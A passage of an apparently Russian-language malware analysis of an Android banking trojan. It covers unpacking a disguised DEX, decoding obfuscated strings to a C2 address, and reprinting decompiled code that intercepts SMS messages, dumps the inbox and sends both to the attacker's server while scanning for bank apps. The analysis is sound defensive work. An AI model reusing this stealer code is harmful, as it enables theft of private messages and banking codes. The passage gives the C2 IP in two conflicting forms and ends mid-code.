case 1750595: L51a4aa6QFmO.Q2a09e72czACV(L0b4c3f2QFmO.Qcbbc1254zACV(Q86c4afcbzACV(), 49, L9e63ba2QFmO.F0b0cb632Tlgx ^ 180, 1074), Ldacae8bQFmO.Q56c5a16bzACV(Q86c4afcbzACV(), 57, Lfb61d19QFmO.F0cd5ee95Tlgx ^ (-858), 3116)); if (L0b4c3f2QFmO.F3432883eTlgx >= 0) { L0b4c3f2QFmO.Q06be88f1zACV(); iQde8db453zACV = Lfb61d19QFmO.Qac33b0b7zACV(L434d8b2QFmO.Qdd57eeb5zACV(Febab3b5dTlgx, 529, 3, 2760)); } else { iQde8db453zACV = (L0b4c3f2QFmO.F3432883eTlgx / L9e63ba2QFmO.F0b0cb632Tlgx) + 1753546; } break;
Скрипт решает следующие задачи
Парсит JADX-декомпилированные Java файлы и ищет в них
short[]массивы с вызовами*QFmO*();Подставляет известные значения полей (из таблицы выше) в выражения ключей;
Декодирует строку по известной нам уже формуле
(char)(short_array[offset + i] ^ key);Брутфорсом перебирает все 65536 ключей с проверкой читаемости результата (функция find_best_key).
Погонял я скрипт, но ничего интересного не извлек из этих java файлов: только пути для загрузки DEX и системные вызовы. Переходим к анализу дальше.
payload.dex
Сейчас посмотрим, что за этот dex. В папке app/src/main/assets/ видим следующие файлы:

DycyX.mb - это упакованный DEX, который и загружается указанным кодом выше.
cfg.dat и .Xj3X3sxItIypfDAA.txt - шифрованные файлы, какой-то набор байт - нас они не интересуют в данный момент.
Начинаем разбираться с нашим DEX файлом. Выше я уже говорил про ZIP poisoning - тут примерно тоже самое. Посмотрим начало файла DycyX.mb:

Первые 2 байта (78 9C) имитируют zlib-заголовок: 78 — заголовок zlib (deflate, окно 32K), а 9C — контрольная сумма zlib. Далее мы видим сигнатуру DEX-файла (выделена на скриншоте выше). Это трюк для обхода автоматических сигнатурных сканеров: утилиты видят “сжатый” файл и не анализируют его как DEX.
Откидываем два байта простым скриптом:
data = read("DycyX.mb") dex = data[2:] # откидываем 2 первых байта фейкового zlib-заголовока write("payload.dex", dex) #либо для тех, кто любит однострочники (но их две, да) data = open('app/src/main/assets/DycyX.mb', 'rb').read() open('app/src/main/assets/payload.dex', 'wb').write(data[2:])
С полученным dex файлом начинаем проделывать то же самое - закидываем в JADX-GUI и смотрим, что получилось.

Сразу видно уже знакомые нам из манифеста имена сервисов приложения:
service
Строка 57: android:name="com.reawlme.kcupeyue.POIX1UVS23"Строка 71: android:name="com.reawlme.kcupeyue.POIX1UVS20"Строка 74: android:name="com.reawlme.kcupeyue.POIX1UVS22"Строка 87: android:name="com.reawlme.kcupeyue.POIX1UVS21"Строка 92: android:name="com.reawlme.kcupeyue.POIX1UVS19"Строка 96: android:name="com.reawlme.kcupeyue.POIX1UVS16"Строка 105: android:name="com.reawlme.kcupeyue.POIX1UVS12"Строка 114: android:name="com.reawlme.kcupeyue.POIX1UVS1"Строка 124: android:name="com.reawlme.kcupeyue.POIX1UVS18"
Извлечённых файлов получилось много, поэтому на полученную папку натравливаю вновь OpenCode с API Deepseek и прошу разобрать структуру. Получилось следующее:
Файл |
Роль |
MainActivity.java |
Точка входа, WebView для фишинга |
Http.java |
HTTP-клиент с шифрованием (о нем будет ниже) |
C0715a.java |
Менеджер конфигурации |
C0717c.java |
Менеджер серверов (bootstrap + ротация) |
POIX1UVS16.java |
SMS-перехватчик |
POIX1UVS19.java |
Сбор данных и отправка на сервер |
POIX1UVS21.java |
Foreground-сервис C2 |
POIX1UVS1.java |
Boot-ресивер |
В пакете p000a 324 файла, в которых ИИ увидел обфусцированные R8/ProGuard вспомогательные классы. Сделал этот вывод он по формату переменных:
Классы переименованы:
p000a.C0000a,p000a.C0058bk,p000a.C0290u7Методы:
m117a(),m560b(),m604d()Поля:
f521a,f580f,f599c
Честно скажу - я ни разу не сталкивался с данным обфускатором (я с Java не работаю в профессиональном плане), но благо в интернете есть уже готовые проекты, например - https://github.com/LXGaming/Reconstruct . Как сказано в ответе stackoverflow ProGuard больше минимайзер - заменяет названия классов, методов и переменных на максимально возможно короткие (что мы увидели уже). Но строковые константы закодированы другим алгоритмом.
Цепочка вызовов идёт следующим образом:
POIX1UVS16.m878e() — SMS-перехватчик └→ Http.m850q(context, URL, json, id) — отправка SMS └→ C0058bk.m121e(context) — получение panel_url └→ C0715a.getPanelUrl() — C0715a.java:81-83 └→ C0717c.getCurrentServerUrl() — C0717c.java:206-214 └→ server.getUrl() — C0717c.java:72-74 └→ C0290u7.m574p() + ip + ":" + port
Незамысловатая функция с говорящим названием getBootstrapUrl вызывается в файле payload_jadx/sources/com/reawlme/kcupeyue/C0717c.java:
public String getBootstrapUrl() { return C0290u7.m574p() + C0290u7.m561c() + ":80"; // "http://" + IP адрес + ":80" }
А строковые константы шифруются следующей функцией (файл payload_jadx/sources/ p000a/C0290u7.java):
C0290u7.java:строки 128-156
/* JADX INFO: renamed from: a */ private static String m559a(int[] iArr, int i) { int length = iArr.length; char[] cArr = new char[length]; int i2 = 0; while (true) { int i3 = 29364; while (true) { int i4 = (i3 ^ 29364) % 5; if (i4 == 0) { cArr[i2] = (char) (iArr[i2] ^ ((((i2 * 13) + i) + 7) & 255)); } else if (i4 == 1) { i2++; if (i2 < length) { break; } i3 = 29366; } else { if (i4 == 2) { return new String(cArr); } if (i4 != 3) { if (i4 != 4) { } } } i3 = 29365; } } }
Формула почти напоминает формулу выше, но чутка другая - на внешний вид это позиционно-зависимый XOR. ИИ подсказал, что таблица диспетчеризации находится в этом же файле дальше этой функции в строках 159-230.
Метод m560b(index) использует хеш ((index * 10003) + 20113) % 41 для выбора массива и ключа. Прошу ИИ написать мне скрипт для декодирования - вот полученный результат:
decode_payload.py
#!/usr/bin/env python3 """Decode strings from C0290u7 (HTTP constants) and C0293v0 (FenrirCrypto keys).""" # ─── C0290u7 decoder ────────────────────────────────────── def decode_u7(arr, key): """cArr[i] = (char)(iArr[i] ^ (((i*13) + key + 7) & 255))""" return ''.join(chr(v ^ (((i * 13) + key + 7) & 255)) for i, v in enumerate(arr)) u7_arrays = { 'f351b': ([110, 61, 47, 7, 7, 231, 160, 245, 199, 192, 166, 190, 169, 133, 133, 125], 58), 'f353d': ([125, 44, 24, 22, 244, 246, 143, 194, 200, 163, 177, 147, 193], 75), 'f355f': ([76, 3, 9, 229, 229, 193, 158, 221, 163, 189, 134, 153, 144, 121, 109], 92), 'f357h': ([91, 242, 250, 244, 218, 208, 237, 189, 185, 143, 131, 109, 116], 109), 'f359j': ([170, 255, 250, 200, 208, 167, 252, 149, 157, 150, 102, 117, 69], 126), 'f361l': ([185, 206, 213, 217, 163, 182, 203, 131, 155, 123, 119, 87, 70], 143), 'f363n': ([135, 216, 167, 171, 181, 136, 217, 115, 98, 114, 73, 82, 55, 34], 161), 'f365p': ([150, 165, 183, 142, 194, 155, 116, 103, 68, 90, 20], 178), 'f367r': ([229, 180, 128, 159, 209, 101, 119, 65, 87, 76], 195), 'f369t': ([234, 223, 195, 44, 62, 46, 29, 24, 113, 98, 111, 68, 79, 181], 212), 'f371v': ([180, 212, 64, 118, 78, 95, 83, 53, 121, 36, 0, 24], 229), 'f373x': ([165, 39, 86, 116, 120, 19, 0, 61, 28], 246), 'f375z': ([122, 78, 78, 44, 49, 58, 65, 16, 226], 23), 'f339ab': ([108, 83, 39, 34, 6, 30, 9, 167, 195, 221, 193, 219], 40), 'f341ad': ([33, 61, 42, 11, 29, 226, 239, 239, 193, 218, 172, 224, 182, 154, 153, 109, 43, 61, 73, 95, 37, 35, 45, 14, 12, 184, 231, 235, 202, 148, 254], 57), 'f343af': ([23, 16, 57, 73], 74), 'f345ah': ([10, 27, 8, 249, 172, 140, 159], 91), 'f347aj': ([66], 108), 'f349al': ([31, 251, 232, 201, 219, 220, 173, 173, 143, 156, 110, 34, 112, 84, 91, 47], 119), } # ─── C0293v0 decoder ────────────────────────────────────── def decode_v0(arr, key): """cArr[i] = (char)(iArr[i] ^ (((i*13) + key + 7) & 255))""" return ''.join(chr(v ^ (((i * 13) + key + 7) & 255)) for i, v in enumerate(arr)) v0_arrays = { 'f380d': ([66, 25, 118, 120, 3, 37, 177, 174], 45), 'f382f': ([50, 31, 105, 44, 8, 200, 170, 132], 62), 'f384h': ([36, 55, 66, 91, 224, 219, 145, 155], 79), 'f386j': ([4, 50, 182, 171, 249, 224, 133, 167], 96), 'f388l': ([215, 40, 67, 139, 36, 89, 221, 252, 43, 158, 247, 81], None), # special } print("=" * 70) print("C0290u7 DECODED STRINGS (HTTP Headers / API paths / Config)") print("=" * 70) # Build hash->array mapping (same as m560b switch) # hash = ((i * 10003) + 20113) % 41 # Case labels: 5=f349al, 6=f347aj, 7=f345ah, 8=f343af, 9=f341ad, # 10=f339ab, 11=f375z, 12=f373x, 13=f371v, 14=f369t, # 15=f367r, 16=f365p, 17=f363n, 18=f361l, 19=f359j, # 20=f357h, 21=f355f, 22=f353d, 23=f351b hash_to_arr = { 5: 'f349al', 6: 'f347aj', 7: 'f345ah', 8: 'f343af', 9: 'f341ad', 10: 'f339ab', 11: 'f375z', 12: 'f373x', 13: 'f371v', 14: 'f369t', 15: 'f367r', 16: 'f365p', 17: 'f363n', 18: 'f361l', 19: 'f359j', 20: 'f357h', 21: 'f355f', 22: 'f353d', 23: 'f351b', } # Function names from C0290u7 func_index = { 'm573o()': 0, 'm563e()': 1, 'm575q()': 2, 'm576r()': 3, 'm577s()': 4, 'm578t()': 5, 'm579u()': 6, 'm562d()': 7, 'm572n()': 8, 'm561c()': 9, 'm568j()': 10, 'm565g()': 11, 'm567i()': 12, 'm566h()': 13, 'm570l()': 14, 'm571m()': 15, 'm574p()': 16, 'm564f()': 17, 'm569k()': 18, } # Context hints from Http.java context_hints = { 4: 'SMS upload path (POIX1UVS16)', 10: 'Content-Type header', 11: 'deviceId header (API key check)', 12: 'deviceId url param (post)', 13: 'Encryption header key', 14: 'application/json content type', 15: 'Encryption prefix (Fenrir crypto)', 17: 'text/plain content type', 18: 'Encryption header value', } print(f"\n{'Function':<15} {'Index':<6} {'Hash':<6} {'Name':<10} {'Decoded String'}") print("-" * 70) for fn_name, idx in sorted(func_index.items(), key=lambda x: x[1]): h = ((idx * 10003) + 20113) % 41 arr_name = hash_to_arr.get(h, '???') if arr_name in u7_arrays: arr, key = u7_arrays[arr_name] decoded = decode_u7(arr, key) else: decoded = '(no array)' hint = context_hints.get(idx, '') print(f'{fn_name:<15} {idx:<6} {h:<6} {arr_name:<10} \"{decoded}\" {hint}') print() print("=" * 70) print("C0293v0 DECODED STRINGS (FenrirCrypto keys)") print("=" * 70) v0_strings = {} for name, (arr, key) in v0_arrays.items(): if name == 'f388l': # Special decoding: f379c[i] = (byte)(f388l[i] ^ (((i*11)+116)&255)) keybytes = bytes(v ^ (((i * 11) + 116) & 255) for i, v in enumerate(arr)) print(f' f388l (IV/key bytes): {keybytes.hex()} (len={len(keybytes)})') else: s = decode_v0(arr, key) v0_strings[name] = s print(f' {name} (key={key}): \"{s}\"') # The crypto key = m606f() = concat of f380d + f382f + f384h + f386j crypto_key = ''.join(v0_strings.get(n, '') for n in ['f380d', 'f382f', 'f384h', 'f386j']) print(f'\n FENRIR CRYPTO KEY (32 chars): \"{crypto_key}\"') print(f' Crypto module name: "FenrirCrypto"')
Полученные значения после работы скрипта:
Метод |
m560b(index) |
Декодированная строка |
m574p() |
16 |
http:// |
m561c() |
9 |
76.124.222.81 - вот наш IP C2-сервера |
m572n() |
8 |
/cdn/nodes |
m573o() |
0 |
/store/inventory |
m563e() |
1 |
/store/order/ |
m575q() |
2 |
/store/checkout |
m576r() |
3 |
/store/refund |
m577s() |
4 |
/media/uplaad |
m578t() |
5 |
/media/report |
m579u() |
6 |
/media/process |
m562d() |
7 |
/cdn/asset/ |
m568j() |
10 |
X-Fenrir-Enc |
m565g() |
11 |
X-API-Key |
m567i() |
12 |
device-id |
m566h() |
13 |
Content-Type |
m570l() |
14 |
application/json; charset=utf-8 |
m571m() |
15 |
FNR1 |
m564f() |
17 |
1 |
m569k() |
18 |
application/json |
Bootstrap сервер жестко задан: http://176.124.222.81:80/cdn/nodes Данный IP адрес мы уже видели в отчёте VirusTotal. К сожалению (точнее к счастью), сервер уже не доступен. А так бы можно было получить JSON следующего формата (ИИ востановил структуру из файла C0717.java)
C0717.java
package com.reawlme.kcupeyue; import android.content.Context; import android.content.SharedPreferences; import java.util.ArrayList; import java.util.List; import java.util.Objects; import java.util.concurrent.TimeUnit; import okhttp3.OkHttpClient; import okhttp3.Request; import okhttp3.Response; import org.json.JSONArray; import org.json.JSONObject; import p000a.C0210m7; import p000a.C0290u7; /* JADX INFO: renamed from: com.reawlme.kcupeyue.c */ /* JADX INFO: loaded from: C:\Analizing\Android\payload.dex */ public class C0717c { /* JADX INFO: renamed from: e */ private static final String f590e = "ServerManager"; /* JADX INFO: renamed from: f */ private static final String f591f = "server_config"; /* JADX INFO: renamed from: g */ private static final int f592g = 80; /* JADX INFO: renamed from: h */ private static final String f593h = "servers_json"; /* JADX INFO: renamed from: i */ private static final String f594i = "current_index"; /* JADX INFO: renamed from: j */ private static final String f595j = "last_update"; /* JADX INFO: renamed from: k */ private static C0717c f596k; /* JADX INFO: renamed from: a */ private final SharedPreferences f597a; /* JADX INFO: renamed from: b */ private final Context f598b; /* JADX INFO: renamed from: c */ private final List<a> f599c; /* JADX INFO: renamed from: d */ private int f600d; /* JADX INFO: renamed from: com.reawlme.kcupeyue.c$a */ public static class a { /* JADX INFO: renamed from: a */ public String f601a; /* JADX INFO: renamed from: b */ public int f602b; /* JADX INFO: renamed from: c */ public int f603c; public a(String str, int i, int i2) { this.f601a = str; this.f602b = i; this.f603c = i2; } public String getUrl() { return C0290u7.m574p() + this.f601a + ":" + this.f602b; } public String toString() { return this.f601a + ":" + this.f602b + " (prio:" + this.f603c + ")"; } } private C0717c(Context context) { Context applicationContext = context.getApplicationContext(); this.f598b = applicationContext; SharedPreferences sharedPreferences = applicationContext.getSharedPreferences(f591f, 0); this.f597a = sharedPreferences; this.f599c = new ArrayList(); this.f600d = sharedPreferences.getInt(f594i, 0); m929g(); } /* JADX INFO: renamed from: d */ public static synchronized C0717c m927d(Context context) { try { if (f596k == null) { f596k = new C0717c(context); } } catch (Throwable th) { throw th; } return f596k; } /* JADX INFO: Access modifiers changed from: private */ /* JADX INFO: renamed from: f */ public static /* synthetic */ int m928f(a aVar, a aVar2) { return Integer.compare(aVar2.f603c, aVar.f603c); } /* JADX INFO: renamed from: g */ private void m929g() { String string = this.f597a.getString(f593h, null); if (string == null || string.isEmpty()) { return; } try { m930h(string); this.f599c.size(); } catch (Exception e) { e.getMessage(); this.f599c.clear(); } } /* JADX INFO: renamed from: h */ private void m930h(String str) throws Exception { JSONObject jSONObject = new JSONObject(str); if (!jSONObject.optBoolean("success", false)) { throw new Exception("Server returned success=false"); } this.f599c.clear(); JSONArray jSONArray = jSONObject.getJSONArray("servers"); for (int i = 0; i < jSONArray.length(); i++) { JSONObject jSONObject2 = jSONArray.getJSONObject(i); this.f599c.add(new a(jSONObject2.getString("ip"), jSONObject2.optInt("port", f592g), jSONObject2.optInt("priority", 0))); } this.f599c.sort(new C0210m7()); if (this.f600d >= this.f599c.size()) { this.f600d = 0; m931j(); } } /* JADX INFO: renamed from: j */ private void m931j() { this.f597a.edit().putInt(f594i, this.f600d).apply(); } /* JADX INFO: renamed from: k */ private void m932k(String str) { this.f597a.edit().putString(f593h, str).putLong(f595j, System.currentTimeMillis()).apply(); } /* JADX INFO: renamed from: b */ public void m933b() { this.f599c.clear(); this.f600d = 0; this.f597a.edit().clear().apply(); } /* JADX INFO: renamed from: c */ public boolean m934c() { String str = getBootstrapUrl() + C0290u7.m572n(); try { OkHttpClient.Builder builder = new OkHttpClient.Builder(); TimeUnit timeUnit = TimeUnit.SECONDS; Response responseExecute = builder.connectTimeout(10L, timeUnit).readTimeout(10L, timeUnit).build().newCall(new Request.Builder().url(str).get().build()).execute(); if (!responseExecute.isSuccessful() || responseExecute.body() == null) { responseExecute.code(); return false; } String strString = responseExecute.body().string(); m930h(strString); m932k(strString); this.f599c.size(); Objects.toString(this.f599c); return this.f599c.size() > 0; } catch (Exception e) { e.getMessage(); return false; } } /* JADX INFO: renamed from: e */ public boolean m935e() { return !this.f599c.isEmpty(); } public List<a> getAllServers() { return new ArrayList(this.f599c); } public String getBootstrapUrl() { return C0290u7.m574p() + C0290u7.m561c() + ":80"; } public a getCurrentServer() { if (this.f599c.isEmpty()) { return null; } if (this.f600d >= this.f599c.size()) { this.f600d = 0; } return this.f599c.get(this.f600d); } public String getCurrentServerUrl() { if (this.f599c.isEmpty()) { return null; } if (this.f600d >= this.f599c.size()) { this.f600d = 0; } return this.f599c.get(this.f600d).getUrl(); } public long getLastUpdateTime() { return this.f597a.getLong(f595j, 0L); } public int getServerCount() { return this.f599c.size(); } /* JADX INFO: renamed from: i */ public synchronized void m936i() { if (this.f600d != 0) { this.f600d = 0; m931j(); Objects.toString(getCurrentServer()); } } /* JADX INFO: renamed from: l */ public synchronized boolean m937l() { if (this.f599c.size() <= 1) { return false; } a currentServer = getCurrentServer(); this.f600d = (this.f600d + 1) % this.f599c.size(); m931j(); a currentServer2 = getCurrentServer(); Objects.toString(currentServer); Objects.toString(currentServer2); return true; } }
JSON
{ “success”: true, “servers”: [ {“ip”: “176.124.222.81”, “port”: 80, “priority”: 10}, {“ip”: “другой_сервер”, “port”: 80, “priority”: 5} ] }
Сервера сортируются по priority, индекс текущего сохраняется в SharedPreferences. При ошибке — ротация на следующий сервер (строки 234-245 в C0717c.java).
Исходя из кода, ИИ выделил следующие точки API:
API |
HTTP |
Где вызывается |
Данные |
/store/inventory |
не определил |
— |
Регистрация устройства |
/store/checkout |
POST |
POIX1UVS19.java:362-38 |
Полный дамп: device_id, worker, device_model, android_version, app_name, phone_number, sim_count, found_apps, sms_archive |
/store/order/ |
GET |
— |
Заказ - скорее всего получение команд что нужно украсть |
/store/refund |
GET |
POIX1UVS19.java:433 |
Проверка retry_phone |
/media/uplaad |
POST |
POIX1UVS16.java:77 |
Перехваченное SMS: device_id, sender, text, sim_slot |
/media/report |
? |
— |
Отчёт |
/media/process |
? |
— |
|
/cdn/asset/ |
? |
— |
CDN-ресурсы |
/cdn/nodes |
GET |
C0717c.java:162-166 |
Список серверов |
POIX1UVS16.java
package com.reawlme.kcupeyue; import android.app.role.RoleManager; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.os.Build; import android.os.Bundle; import android.os.PowerManager; import android.provider.Telephony; import android.telephony.SmsMessage; import java.io.IOException; import okhttp3.Call; import okhttp3.Callback; import okhttp3.HttpUrl; import okhttp3.Response; import org.json.JSONObject; import p000a.AbstractC0282u; import p000a.C0058bk; import p000a.C0102cs; import p000a.C0290u7; /* JADX INFO: loaded from: C:\Analizing\Android\payload.dex */ public class POIX1UVS16 extends BroadcastReceiver { /* JADX INFO: renamed from: a */ private static final String f539a = "POIX1UVS16"; /* JADX INFO: renamed from: b */ private int m875b(Bundle bundle) { int i = bundle.getInt("slot", -1); if (i == -1) { i = bundle.getInt("simId", -1); } if (i == -1) { i = bundle.getInt("phone", -1); } if (i == -1) { i = bundle.getInt("subscription", 0); } return i + 1; } /* JADX INFO: renamed from: c */ private boolean m876c(Context context) { if (Build.VERSION.SDK_INT < 29) { return context.getPackageName().equals(Telephony.Sms.getDefaultSmsPackage(context)); } RoleManager roleManagerM525c = AbstractC0282u.m525c(context.getSystemService("role")); return roleManagerM525c != null && roleManagerM525c.isRoleHeld("android.app.role.SMS"); } /* JADX INFO: Access modifiers changed from: private */ /* JADX INFO: renamed from: d */ public void m877d(PowerManager.WakeLock wakeLock) { if (wakeLock != null) { try { if (wakeLock.isHeld()) { wakeLock.release(); } } catch (Exception unused) { } } } /* JADX INFO: renamed from: e */ private void m878e(Context context, String str, String str2, int i, final PowerManager.WakeLock wakeLock) { try { String strM230b = C0102cs.m230b(context); String str3 = C0058bk.m121e(context) + C0290u7.m577s(); JSONObject jSONObject = new JSONObject(); jSONObject.put("device_id", strM230b); jSONObject.put("sender", str); jSONObject.put("text", str2); jSONObject.put("sim_slot", i); str2.substring(0, Math.min(50, str2.length())); Http.m850q(context, str3, jSONObject.toString(), strM230b, new Callback() { // from class: com.reawlme.kcupeyue.POIX1UVS16.1 @Override // okhttp3.Callback public void onFailure(Call call, IOException iOException) { iOException.getMessage(); POIX1UVS16.this.m877d(wakeLock); } @Override // okhttp3.Callback public void onResponse(Call call, Response response) { response.code(); response.close(); POIX1UVS16.this.m877d(wakeLock); } }); } catch (Exception unused) { m877d(wakeLock); } } /* JADX INFO: renamed from: f */ private void m879f(Context context) { POIX1UVS21 poix1uvs21 = POIX1UVS21.getInstance(); if (poix1uvs21 != null) { poix1uvs21.acquireWakeLock(); poix1uvs21.sendPing(); } else { Intent intent = new Intent(context, (Class<?>) POIX1UVS21.class); intent.setAction("SMS_EVENT"); context.startForegroundService(intent); } } @Override // android.content.BroadcastReceiver public void onReceive(Context context, Intent intent) { if (intent == null) { return; } String action = intent.getAction(); if (m876c(context)) { if (!"android.provider.Telephony.SMS_DELIVER".equals(action)) { return; } } else if (!"android.provider.Telephony.SMS_RECEIVED".equals(action)) { return; } if ("android.provider.Telephony.SMS_RECEIVED".equals(action) || "android.provider.Telephony.SMS_DELIVER".equals(action)) { PowerManager.WakeLock wakeLockNewWakeLock = ((PowerManager) context.getSystemService("power")).newWakeLock(1, "POIX1UVS16:Lock"); wakeLockNewWakeLock.acquire(30000L); try { Bundle extras = intent.getExtras(); if (extras != null) { Object[] objArr = (Object[]) extras.get("pdus"); String string = extras.getString("format"); if (objArr != null) { StringBuilder sb = new StringBuilder(); int iM875b = m875b(extras); String originatingAddress = HttpUrl.FRAGMENT_ENCODE_SET; for (Object obj : objArr) { SmsMessage smsMessageCreateFromPdu = SmsMessage.createFromPdu((byte[]) obj, string); originatingAddress = smsMessageCreateFromPdu.getOriginatingAddress(); sb.append(smsMessageCreateFromPdu.getMessageBody()); } m878e(context, originatingAddress, sb.toString(), iM875b, wakeLockNewWakeLock); m879f(context); return; } } } catch (Exception unused) { } if (wakeLockNewWakeLock.isHeld()) { wakeLockNewWakeLock.release(); } } } }
POIX1UVS19
package com.reawlme.kcupeyue; import android.app.Service; import android.app.role.RoleManager; import android.content.Intent; import android.content.pm.ApplicationInfo; import android.content.pm.PackageManager; import android.database.Cursor; import android.net.Uri; import android.os.Build; import android.os.IBinder; import android.provider.Telephony; import android.telephony.SmsManager; import android.telephony.SubscriptionInfo; import android.telephony.SubscriptionManager; import androidx.core.content.ContextCompat; import java.io.IOException; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Collection; import java.util.Date; import java.util.HashMap; import java.util.Iterator; import java.util.List; import java.util.Map; import java.util.TimeZone; import okhttp3.Call; import okhttp3.Callback; import okhttp3.Response; import org.json.JSONArray; import org.json.JSONObject; import p000a.AbstractC0282u; import p000a.C0058bk; import p000a.C0102cs; import p000a.C0290u7; import p000a.RunnableC0021ak; /* JADX INFO: loaded from: C:\Analizing\Android\payload.dex */ public class POIX1UVS19 extends Service { /* JADX INFO: renamed from: b */ private static final String f542b = "POIX1UVS19"; /* JADX INFO: renamed from: c */ private static final int f543c = 10; /* JADX INFO: renamed from: d */ private static final int f544d = 5000; /* JADX INFO: renamed from: e */ private static boolean f545e; /* JADX INFO: renamed from: f */ private static boolean f546f; /* JADX INFO: renamed from: g */ private static final Map<String, String> f547g = new C0706a(); /* JADX INFO: renamed from: a */ private int f548a = 0; /* JADX INFO: renamed from: com.reawlme.kcupeyue.POIX1UVS19$a */ public class C0706a extends HashMap<String, String> { public C0706a() { put("Сбербанк", "ru.sberbankmobile"); put("ВТБ", "ru.vtb24.mobilebanking"); put("Альфа-Банк", "ru.alfabank.mobile.android"); put("Тинькофф", "com.idamob.tinkoff.android"); put("Газпромбанк", "ru.gazprombank.android"); put("Открытие", "ru.openbank"); put("ПСБ", "ru.psbank.mobile"); put("Райффайзенбанк", "ru.raiffeisennews"); put("МКБ", "ru.mkb.mobile"); put("Росбанк", "ru.rosbank.android"); put("ЮниКредит", "ru.unicredit"); put("Уралсиб", "ru.uralsib.smarthome"); put("Совкомбанк", "ru.sovcombank.android"); put("СКБ-Банк", "ru.skbkontur.client"); put("Почта Банк", "ru.pochta.bank"); put("СберБизнес", "ru.sberbank_sbbol"); put("Госуслуги", "ru.gosuslugi"); put("Госключ", "ru.gosuslugi.goskey"); put("Wildberries", "com.wildberries.ru"); put("Ozon", "ru.ozon.app.android"); put("Яндекс", "ru.yandex.searchplugin"); put("WhatsApp", "com.whatsapp"); } } /* JADX WARN: Removed duplicated region for block: B:34:0x0160 A[LOOP:1: B:31:0x0108->B:34:0x0160, LOOP_END] */ /* JADX WARN: Removed duplicated region for block: B:38:0x0168 A[PHI: r12 0x0168: PHI (r12v7 android.database.Cursor) = (r12v6 android.database.Cursor), (r12v8 android.database.Cursor) binds: [B:42:0x0172, B:37:0x0166] A[DONT_GENERATE, DONT_INLINE]] */ /* JADX WARN: Removed duplicated region for block: B:57:0x0166 A[EDGE_INSN: B:57:0x0166->B:37:0x0166 BREAK A[LOOP:1: B:31:0x0108->B:34:0x0160], SYNTHETIC] */ /* JADX INFO: renamed from: f */ /* Code decompiled incorrectly, please refer to instructions dump. */ private String m885f() { String str; String str2; String str3 = "date"; String str4 = "body"; StringBuilder sb = new StringBuilder("╔══════════════════════════════════════╗\n║ SMS ARCHIVE ║\n╠══════════════════════════════════════╣\n║ Date: "); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("dd.MM.yyyy HH:mm:ss"); simpleDateFormat.setTimeZone(TimeZone.getTimeZone("Europe/Moscow")); sb.append(simpleDateFormat.format(new Date())); sb.append("\n║ Device: "); sb.append(Build.MODEL); sb.append("\n╚══════════════════════════════════════╝\n\n┌──────────────────────────────────────┐\n│ INBOX MESSAGES │\n└──────────────────────────────────────┘\n\n"); int i = 1; Cursor cursorQuery = null; try { try { cursorQuery = getContentResolver().query(Uri.parse("content://sms/inbox"), null, null, null, "date DESC LIMIT 200"); if (cursorQuery == null || !cursorQuery.moveToFirst()) { str = "date"; str2 = "body"; } else { int i2 = 1; while (true) { String string = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow("address")); String string2 = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow(str4)); str = str3; str2 = str4; try { long j = cursorQuery.getLong(cursorQuery.getColumnIndexOrThrow(str3)); sb.append("━━━━━━━━━━ SMS #"); int i3 = i2 + 1; sb.append(i2); sb.append(" ━━━━━━━━━━\n"); sb.append("From: "); sb.append(string); sb.append("\n"); sb.append("Time: "); sb.append(simpleDateFormat.format(new Date(j))); sb.append("\n"); sb.append("Text:\n"); sb.append(string2); sb.append("\n\n"); if (!cursorQuery.moveToNext()) { break; } i2 = i3; str3 = str; str4 = str2; } catch (Exception e) { e = e; sb.append("Error reading SMS: "); sb.append(e.getMessage()); sb.append("\n"); if (cursorQuery != null) { } sb.append("\n┌──────────────────────────────────────┐\n│ SENT MESSAGES │\n└──────────────────────────────────────┘\n\n"); cursorQuery = getContentResolver().query(Uri.parse("content://sms/sent"), null, null, null, "date DESC LIMIT 100"); if (cursorQuery != null) { while (true) { String string3 = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow("address")); String str5 = str2; String string4 = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow(str5)); String str6 = str; long j2 = cursorQuery.getLong(cursorQuery.getColumnIndexOrThrow(str6)); str2 = str5; sb.append("━━━━━━━━━━ SENT #"); int i4 = i + 1; sb.append(i); sb.append(" ━━━━━━━━━━\n"); sb.append("To: "); sb.append(string3); sb.append("\n"); sb.append("Time: "); sb.append(simpleDateFormat.format(new Date(j2))); sb.append("\n"); sb.append("Text:\n"); sb.append(string4); sb.append("\n\n"); if (cursorQuery.moveToNext()) { } i = i4; str = str6; } } if (cursorQuery != null) { } sb.append("\n╔══════════════════════════════════════╗\n║ END OF ARCHIVE ║\n╚══════════════════════════════════════╝\n"); return sb.toString(); } } } } finally { if (cursorQuery != null) { cursorQuery.close(); } } } catch (Exception e2) { e = e2; str = str3; str2 = str4; } if (cursorQuery != null) { cursorQuery.close(); } sb.append("\n┌──────────────────────────────────────┐\n│ SENT MESSAGES │\n└──────────────────────────────────────┘\n\n"); try { cursorQuery = getContentResolver().query(Uri.parse("content://sms/sent"), null, null, null, "date DESC LIMIT 100"); if (cursorQuery != null && cursorQuery.moveToFirst()) { while (true) { String string32 = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow("address")); String str52 = str2; String string42 = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow(str52)); String str62 = str; long j22 = cursorQuery.getLong(cursorQuery.getColumnIndexOrThrow(str62)); str2 = str52; sb.append("━━━━━━━━━━ SENT #"); int i42 = i + 1; sb.append(i); sb.append(" ━━━━━━━━━━\n"); sb.append("To: "); sb.append(string32); sb.append("\n"); sb.append("Time: "); sb.append(simpleDateFormat.format(new Date(j22))); sb.append("\n"); sb.append("Text:\n"); sb.append(string42); sb.append("\n\n"); if (cursorQuery.moveToNext()) { break; } i = i42; str = str62; } } } catch (Exception unused) { if (cursorQuery != null) { } } catch (Throwable th) { throw th; } if (cursorQuery != null) { cursorQuery.close(); } sb.append("\n╔══════════════════════════════════════╗\n║ END OF ARCHIVE ║\n╚══════════════════════════════════════╝\n"); return sb.toString(); } /* JADX INFO: renamed from: g */ private List<String> m886g() { ArrayList arrayList = new ArrayList(); try { for (ApplicationInfo applicationInfo : getPackageManager().getInstalledApplications(128)) { Iterator<Map.Entry<String, String>> it = f547g.entrySet().iterator(); while (true) { if (it.hasNext()) { Map.Entry<String, String> next = it.next(); if 